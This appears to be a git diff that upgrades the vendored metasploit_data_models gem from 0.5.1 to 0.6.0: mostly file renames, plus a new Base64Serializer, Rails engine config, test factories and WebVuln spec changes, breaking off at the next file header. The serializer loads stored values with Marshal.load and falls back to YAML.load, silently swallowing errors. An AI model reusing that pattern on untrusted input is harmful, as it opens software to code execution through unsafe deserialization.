lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb new file mode 100755 index 0000000000..dfc0596b68 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb @@ -0,0 +1,103 @@ +# Provides ActiveRecord 3.1x-friendly serialization for descendants of +# ActiveRecord::Base. Backwards compatible with older YAML methods and +# will fall back to string decoding in the worst case +# +# @example Using default default of {} +# serialize :foo, MetasploitDataModels::Base64Serializer.new +# +# @example Overriding default to [] +# serialize :bar, MetasploitDataModels::Base64Serializer.new(:default => []) +# +module MetasploitDataModels + class Base64Serializer + # + # CONSTANTS + # + + # The default for {#default} + DEFAULT = {} + # Deserializers for {#load} + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. The raw value. + LOADERS = [ + lambda { |serialized| + marshaled = serialized.unpack('m').first + # Load the unpacked Marshal object first + Marshal.load(marshaled) + }, + lambda { |serialized| + # Support legacy YAML encoding for existing data + YAML.load(serialized) + }, + lambda { |serialized| + # Fall back to string decoding + serialized + } + ] + + # + # Methods + # + + # Creates a duplicate of default value + # + # @return + def default + @default.dup + end + + attr_writer :default + + # Serializes the value by marshalling the value and then base64 encodes the marshaled value. + # + # @param value [Object] value to serialize + # @return [String] + def dump(value) + # Always store data back in the Marshal format + marshalled = Marshal.dump(value) + base64_encoded = [ marshalled ].pack('m') + + base64_encoded + end + + # @param attributes [Hash] attributes + # @option attributes [Object] :default ({}) Value to use for {#default}. + def initialize(attributes={}) + attributes.assert_valid_keys(:default) + + @default = attributes.fetch(:default, DEFAULT) + end + + # Deserializes the value by either + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. Returns the raw value. + # + # @param value [String] serialized value + # @return [Object] + # + # @see #default + def load(value) + loaded = nil + + if value.blank? + loaded = default + else + LOADERS.each do |loader| + begin + loaded = loader.call(value) + rescue + next + else + break + end + end + end + + loaded + end + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb new file mode 100644 index 0000000000..4f73f5c985 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb @@ -0,0 +1,14 @@ +require 'rails' + +module MetasploitDataModels + class Engine < Rails::Engine + + # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl + config.generators do |g| + g.assets false + g.fixture_replacement :factory_girl, :dir => 'spec/factories' + g.helper false + g.test_framework :rspec, :fixture => false + end + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb index ee7b61398b..6532b907d4 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb @@ -4,5 +4,5 @@ module MetasploitDataModels # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 - VERSION = '0.5.1' + VERSION = '0.6.0' end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb similarity index 80% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb index d55706f947..904a19fe0b 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb @@ -5,6 +5,10 @@ describe Mdm::WebVuln do 1 .. 100 end + let(:default_params) do + [] + end + let(:methods) do [ 'GET', @@ -18,6 +22,10 @@ describe Mdm::WebVuln do 0 .. 5 end + subject(:web_vuln) do + described_class.new + end + context 'associations' do it { should belong_to(:web_site).class_name('Mdm::WebSite') } end @@ -74,7 +82,11 @@ describe Mdm::WebVuln do it { should ensure_inclusion_of(:method).in_array(methods) } it { should validate_presence_of :name } it { should validate_presence_of :path } - it { should validate_presence_of :params } + + it 'should not validate presence of params because it default to [] and can never be nil' do + web_vuln.should_not validate_presence_of(:params) + end + it { should validate_presence_of :pname } it { should validate_presence_of :proof } it { should ensure_inclusion_of(:risk).in_range(risk_range) } @@ -84,4 +96,31 @@ describe Mdm::WebVuln do context 'serializations' do it { should serialize(:params).as_instance_of(MetasploitDataModels::Base64Serializer) } end + + context '#params' do + let(:default) do + [] + end + + let(:params) do + web_vuln.params + end + + it 'should default to []' do + params.should == default + end + + it 'should return default if set to nil' do + web_vuln.params = nil + web_vuln.params.should == default + end + + it 'should return default if set to nil and saved' do + web_vuln = FactoryGirl.build(:mdm_web_vuln) + web_vuln.params = nil + web_vuln.save! + + web_vuln.params.should == default + end + end end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb new file mode 100644 index 0000000000..32112b667f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb @@ -0,0 +1,7 @@ +FactoryGirl.define do + sequence :mdm_ipv4_address do |n| + max = 255 + + "192.168.#{(n / max).to_i}.#{n % max}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb new file mode 100644 index 0000000000..4eaa10e76d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb @@ -0,0 +1,18 @@ +FactoryGirl.define do + factory :mdm_host, :class => Mdm::Host do + # + # Associations + # + association :workspace, :factory => :mdm_workspace + + # + # Attributes + # + address { generate :mdm_ipv4_address } + name { generate :mdm_host_name } + end + + sequence :mdm_host_name do |n| + "mdm_host_#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb 